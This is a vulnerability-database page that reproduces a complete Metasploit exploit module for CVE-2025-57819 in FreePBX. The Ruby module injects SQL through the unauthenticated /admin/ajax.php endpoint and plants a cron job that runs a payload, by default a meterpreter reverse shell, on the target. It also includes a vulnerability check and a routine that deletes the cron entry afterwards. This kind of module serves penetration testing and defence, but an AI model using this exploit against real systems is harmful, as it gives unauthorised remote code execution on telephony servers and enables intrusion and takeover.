Lucene search
K

FreePBX ajax.php unauthenticated SQLi to RCE

🗓️ 23 Sep 2025 18:56:43Reported by Echo_Slow, Piotr Bazydlo, SonnyType 
metasploit
 metasploit
🔗 www.rapid7.com👁 817 Views

FreePBX unauthenticated SQL injection leads to remote code execution via cron jobs on systems.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX ajax.php unauthenticated SQLi to RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
          and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
          authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
          remote code execution on the target system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Echo_Slow', # msf module
          'Piotr Bazydlo', # POC used as a template
          'Sonny' # POC used as a template
        ],
        'References' => [
          ['CVE', '2025-57819'],
          ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
        ],
        'Platform' => ['linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command',
            {
              'DefaultOptions' =>
              {
                'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'WfsDelay' => 70 # cronjob may take up to a minute to start
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-08-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [false, 'The URI for the FreePBX installation', '/']
        )
      ]
    )
  end

  def check
    print_status('Checking if vulnerable...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
      }
    )

    if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
      return Exploit::CheckCode::Vulnerable('Detected SQL injection')
    end

    Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
  end

  def exploit
    module_name = Rex::Text.rand_text_alpha(4..7)
    @job_name = Rex::Text.rand_text_alpha(4..7)

    rce_payload = Rex::Text.rand_text_alpha(4..7)
    rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
    rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => rce_payload
      }
    )

    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
      print_good("Created cronjob with job name: '#{@job_name}'")
      print_status('Waiting for cronjob to trigger...')
    else
      fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
    end
  end

  def cleanup
    super

    return unless @job_name

    # Remove the created cronjob
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
      }
    )

    print_status('Attempting to perform cleanup')

    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
      print_good('Cronjob removed, happy hacking!')
    else
      print_bad('Cronjob not removed, please perform manual cleanup!')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2026 19:02Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.8
CVSS 410
EPSS0.93286
SSVC
817